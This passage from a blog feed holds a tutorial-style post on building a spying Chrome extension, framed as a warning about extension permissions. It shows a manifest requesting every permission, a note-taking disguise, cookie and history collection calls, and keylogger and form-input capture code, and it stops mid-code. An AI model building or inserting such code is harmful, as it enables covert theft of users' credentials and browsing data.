src="https://substackcdn.com/image/fetch/$s_!lhJ0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png" width="1456" height="709" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/adf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:709,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!lhJ0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 424w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 848w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 1272w, https://substackcdn.com/image/fetch/$s_!lhJ0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadf0c4e9-b988-4680-a37b-fd458bddbd01_2866x1396.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>]]></content:encoded></item><item><title><![CDATA[Software Engineering Radio, Episode 552: Matt Frisbie on Browser Extensions]]></title><description><![CDATA[Matt Frisbie, author of Building Browser Extensions, speaks with host Kanchan Shringi about the world of browser extensions.]]></description><link>https://mattfrisbie.substack.com/p/software-engineering-radio-episode</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/software-engineering-radio-episode</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Fri, 24 Feb 2023 14:54:31 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/0adfcbc0-f261-4265-b4e6-d259467eae36_640x640.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dpy6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dpy6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png 424w, https://substackcdn.com/image/fetch/$s_!dpy6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png 848w, https://substackcdn.com/image/fetch/$s_!dpy6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png 1272w, https://substackcdn.com/image/fetch/$s_!dpy6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dpy6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png" width="584" height="80" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:80,&quot;width&quot;:584,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;se-radio-logo.png (584&#215;80)&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="se-radio-logo.png (584&#215;80)" title="se-radio-logo.png (584&#215;80)" srcset="https://substackcdn.com/image/fetch/$s_!dpy6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png 424w, https://substackcdn.com/image/fetch/$s_!dpy6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png 848w, https://substackcdn.com/image/fetch/$s_!dpy6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png 1272w, https://substackcdn.com/image/fetch/$s_!dpy6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F943b6dbd-a3d3-4d00-b958-49c04ed8e4bc_584x80.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p>As soon as your head popped off the pillow this morning, you surely thought to yourself &#8220;What I <em>really</em> want to do today is listen to a podcast about building browser extensions.&#8221;  </p><p>Then you are in luck! I joined host Kanchan Shringi on the <a href="https://www.se-radio.net/2023/02/episode-552-matt-frisbie-on-browser-extensions/">Software Engineering Radio</a> podcast to discuss all things browser extensions: ecosystem, architecture, security, privacy, and the road ahead.</p><p>We chatted about key areas where they&#8217;ve been successful, popular tools for building extensions, cross-browser compatibilities to keep in mind when developing extensions, mechanisms in the browser to prevent security vulnerabilities, and how emerging platforms can help developers take advantage of exciting new possibilities.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://open.spotify.com/episode/26ZkP8mdHkZD1Ax2kUQqhK&quot;,&quot;text&quot;:&quot;LISTEN NOW&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://open.spotify.com/episode/26ZkP8mdHkZD1Ax2kUQqhK"><span>LISTEN NOW</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Let's build a Chrome extension that steals everything]]></title><description><![CDATA[Today's adventure: DIY whole hog data exfiltration]]></description><link>https://mattfrisbie.substack.com/p/spy-chrome-extension</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/spy-chrome-extension</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Tue, 21 Feb 2023 20:06:23 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/cIGESSm39n4" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Update: this piece was featured on the NBTV YouTube Channel</p><div id="youtube2-cIGESSm39n4" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;cIGESSm39n4&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/cIGESSm39n4?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><div><hr></div><p>Manifest v3 may have taken some of the juice out of browser extensions, but I think there is still plenty left in the tank. To prove it, let&#8217;s build a Chrome extension that steals as much data as possible. I&#8217;m talking kitchen sink, whole enchilada, Grinch-plundering-Whoville levels of data theft.</p><p>This will accomplish two things:</p><ul><li><p>Explore the edges of what is possible with Chrome extensions</p></li><li><p>Demonstrate what you are exposed to if you aren&#8217;t careful with what you install</p></li></ul><p><em>Disclaimer: actually implementing this would be evil. You shouldn&#8217;t abuse extension permissions, steal user data, or build malicious browser extensions. Any implementation, derivative extension, or utilization of these techniques, without the express written consent of Major League Baseball, is not advised.</em></p><h1>Ground Rules</h1><ul><li><p>The user shouldn&#8217;t be aware that anything is happening behind the scenes. </p></li><li><p>There must be no visual indication that anything is awry.</p><ul><li><p>No extra console messages, warnings, or errors.</p></li><li><p>No additional browser warning or permission dialogs.</p></li><li><p>No extra page-level network traffic.</p></li></ul></li><li><p>Once the user agrees to the <em>*ahem*</em> ample permission warnings, that&#8217;s the last time they should have to think about the extension&#8217;s permissions.</p></li></ul><h1>Chrome Extension Crash Course</h1><p>If you&#8217;re not familiar with the internals of browser extensions, there&#8217;s three components that we care about for our evil extension:</p><p><strong>Background Service Worker</strong></p><ul><li><p>Event driven. Can be used as a &#8220;persistent&#8221; container for running JavaScript</p></li><li><p>Can access all* of the WebExtensions API</p></li><li><p>Cannot access DOM APIs</p></li><li><p>Cannot directly access pages</p></li></ul><p><strong>Popup Page</strong></p><ul><li><p>Only opens after user interaction</p></li><li><p>Can access all* of the WebExtensions API</p></li><li><p>Can access DOM APIs</p></li><li><p>Cannot directly access pages</p></li></ul><p><strong>Content Script</strong></p><ul><li><p>Has direct and full access to all pages and the DOM</p></li><li><p>Can run JavaScript in page, but in sandboxed runtime</p></li><li><p>Can only use a subset of the WebExtensions API</p></li><li><p>Subject to same restrictions as page (CORS, etc)</p></li></ul><p><em>*Minor restrictions apply, batteries not included</em></p><h1>Obtaining Global Permissions</h1><p>Just for fun, our malicious extension will request <em>all</em> possible permissions. <a href="https://developer.chrome.com/docs/extensions/mv3/declare_permissions/">https://developer.chrome.com/docs/extensions/mv3/declare_permissions/</a> has a list of Chrome extension permissions, and we&#8217;ll take the lot. </p><p>After pruning out all permissions that Chrome doesn&#8217;t support, we get the following:</p><pre><code>{
  ...
  "host_permissions": ["&lt;all_urls&gt;"],
  "permissions": [
    "activeTab",
    "alarms",
    "background",
    "bookmarks",
    "browsingData",
    "clipboardRead",
    "clipboardWrite",
    "contentSettings",
    "contextMenus",
    "cookies",
    "debugger",
    "declarativeContent",
    "declarativeNetRequest",
    "declarativeNetRequestWithHostAccess",
    "declarativeNetRequestFeedback",
    "desktopCapture",
    "downloads",
    "fontSettings",
    "gcm",
    "geolocation",
    "history",
    "identity",
    "idle",
    "management",
    "nativeMessaging",
    "notifications",
    "pageCapture",
    "power",
    "printerProvider",
    "privacy",
    "proxy",
    "scripting",
    "search",
    "sessions",
    "storage",
    "system.cpu",
    "system.display",
    "system.memory",
    "system.storage",
    "tabCapture",
    "tabGroups",
    "tabs",
    "tabs",
    "topSites",
    "tts",
    "ttsEngine",
    "unlimitedStorage",
    "webNavigation",
    "webRequest"
  ],
}</code></pre><p><em>manifest.json</em></p><p>Most of these permissions won&#8217;t be needed, but who cares? Let&#8217;s see what the warning message looks like:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PrV4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PrV4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png 424w, https://substackcdn.com/image/fetch/$s_!PrV4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png 848w, https://substackcdn.com/image/fetch/$s_!PrV4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png 1272w, https://substackcdn.com/image/fetch/$s_!PrV4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PrV4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png" width="1456" height="951" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:951,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:408660,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PrV4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png 424w, https://substackcdn.com/image/fetch/$s_!PrV4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png 848w, https://substackcdn.com/image/fetch/$s_!PrV4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png 1272w, https://substackcdn.com/image/fetch/$s_!PrV4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f0e4276-498c-4d46-80fb-466437307695_2184x1426.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Chrome scrolls the permission warning message container, so more than half of the warning messages don&#8217;t even show up. I&#8217;d bet most users wouldn&#8217;t think twice about installing an extension that appears to ask for just 5 permissions.</p><p>The <strong>full</strong> permission warning list is as follows:</p><ul><li><p>Above the fold:</p><ul><li><p>Access the page debugger backend</p></li><li><p>Read and change all your data on websites</p></li><li><p>Detect your physical location</p></li><li><p>Read and change your browsing history on all your signed-in devices</p></li><li><p>Display notifications</p></li></ul></li><li><p>Below the fold:</p><ul><li><p>Read and change your bookmarks</p></li><li><p>Read and modify data you copy and paste</p></li><li><p>Capture content of your screen</p></li><li><p>Manage your downloads</p></li><li><p>Identify and eject storage devices</p></li><li><p>Change your settings that websites&#8217; access to features such as cookies, JavaScript, plugins, geolocation, microphone, camera, etc.</p></li><li><p>Manage your apps, extensions, and themes</p></li><li><p>Communicate with cooperating native applications</p></li><li><p>Change your privacy-related settings</p></li><li><p>View and manage your tab groups</p></li><li><p>Read all text using spoken synthesized speech</p></li></ul></li></ul><p>Let&#8217;s add in a content script that runs in all pages and frames, extend our extension&#8217;s coverage to incognito windows, and make all our resources accessible just in case we need them:</p><pre><code><code>{
  ...
  "web_accessible_resources": [
    {
      "resources": ["*"],
      "matches": ["&lt;all_urls&gt;"]
    }
  ],
  "content_scripts": [
    {
      "matches": ["&lt;all_urls&gt;"],
      "all_frames": true,
      "css": [],
      "js": ["content-script.js"],
      "run_at": "document_end"
    }
  ],
  "incognito": "spanning",
}</code></code></pre><p><em>manifest.json</em></p><h1>The Extension Facade</h1><p>Our heinous extension will masquerade as a note-taking app:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PlN8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PlN8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png 424w, https://substackcdn.com/image/fetch/$s_!PlN8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png 848w, https://substackcdn.com/image/fetch/$s_!PlN8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png 1272w, https://substackcdn.com/image/fetch/$s_!PlN8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PlN8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png" width="1456" height="789" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:789,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:82693,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PlN8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png 424w, https://substackcdn.com/image/fetch/$s_!PlN8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png 848w, https://substackcdn.com/image/fetch/$s_!PlN8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png 1272w, https://substackcdn.com/image/fetch/$s_!PlN8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79b66d53-5aec-4c0a-91d0-8ae3fcba5753_1702x922.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This gives us an extension page that will be opened frequently, allowing us to perform nefarious data collection silently. We&#8217;ll also use a background service worker.</p><h1>Analytics and Data Exfiltration</h1><p>Life is short, the internet is fast, and storage is cheap. Any data our extension decides to collect can be sent off to a server we control through the background service worker, and the user will be none the wiser. These network requests will only show up if they decide to inspect the network activity of the extension itself, which is pretty hard to get to.</p><p>Want to add invasive user tracking to web pages? No problem! Network traffic from the background page is not subject to ad blockers or other user privacy extensions, so track every click and keystroke to you heart&#8217;s content. (External network traffic managers and things like PiHole will still work)</p><h1><em>Very</em> Low Hanging Fruit</h1><p>Right off the bat, the WebExtensions API lets us collect quite a bit with almost zero effort.</p><h2>Cookies</h2><p><code>chrome.cookies.getAll({})</code> retrieves all the browser&#8217;s cookies as an array.</p><h2>History</h2><p><code>chrome.history.search({ text: "" })</code> retrieves the user&#8217;s entire browsing history as an array.</p><h2>Screenshots</h2><p><code>chrome.tabs.captureVisibleTab()</code> silently captures a screenshot of whatever the user is currently looking at. We can call this as often as we like with messages sent from the content script - or even more frequently on URLs we deem to be valuable. The API returns the image as nice data URL strings, so it&#8217;s trivial to whisk them off to our data collection endpoint.</p><p>Are your browser extensions capturing your screen right now? You&#8217;ll never know!</p><h2>User Navigation</h2><p>We can use the <code>webNavigation</code> API to easily track the user&#8217;s browsing activity in real time:</p><pre><code>chrome.webNavigation.onCompleted.addListener((details) =&gt; {
  // {
  //   "documentId": "F5009EFE5D3C074730E67F5C1D934C0A",
  //   "documentLifecycle": "active",
  //   "frameId": 0,
  //   "frameType": "outermost_frame",
  //   "parentFrameId": -1,
  //   "processId": 139,
  //   "tabId": 174034187,
  //   "timeStamp": 1676958729790.8088,
  //   "url": "https://www.linkedin.com/feed/"
  // }
});</code></pre><p><em>background.js</em></p><h2>Page Traffic</h2><p>The <code>webRequest</code> API lets us watch all network traffic from every tab, tease out network traffic with a <code>requestBody</code>, and extract capturing credentials, addresses, etc:</p><pre><code>chrome.webRequest.onBeforeRequest.addListener(
  (details) =&gt; {
    if (details.requestBody) {
      // Capture requestBody data
    }
  },
  {
    urls: ["&lt;all_urls&gt;"],
  },
  ["requestBody"]
);</code></pre><p><em>background.js</em></p><h1>Keylogger</h1><p>With a content script running on every page, reading keystrokes is dead easy. Creating a keystroke buffer that is periodically flushed will give us nice consecutive keystrokes that are easy to read.</p><pre><code>let buffer = "";

const debouncedCaptureKeylogBuffer = _.debounce(async () =&gt; {
  if (buffer.length &gt; 0) {
    // Flush the buffer

    buffer = "";
  }
}, 1000);

document.addEventListener("keyup", (e: KeyboardEvent) =&gt; {
  buffer += e.key;

  debouncedCaptureKeylogBuffer();
});</code></pre><p><em>content-script.js</em></p><h1>Input Capturing</h1><p>From the content script, we can just listen for <code>input</code> events on any editable elements and capture their value. </p><pre><code>[...document.querySelectorAll("input,textarea,[contenteditable]")].map((input) =&gt;
  input.addEventListener("input", _.debounce((e) =&gt; {
    // Read input value
  }, 1000))
);</code></pre><p><em>content-script.js</em></p><p>If we&#8217;re expecting the page DOM to change often (for example, with SPAs), we certainly don&#8217;t want to miss out on any valuable data.  Just set a <code>MutationObserver</code> to watch the entire page, and reapply listeners as needed.</p><pre><code>const inputs: WeakSet&lt;Element&gt; = new WeakSet();

const debouncedHandler = _.debounce(() =&gt; {
  [...document.querySelectorAll("input,textarea,[contenteditable")]
    .filter((input: Element) =&gt; !inputs.has(input))
    .map((input) =&gt; {
      input.addEventListener(
        "input",
        _.debounce((e) =&gt; {
          // Read input value
        }, 1000)
      );

      inputs.add(input);
    });
}, 1000);

const observer = new MutationObserver(() =&gt; debouncedHandler());
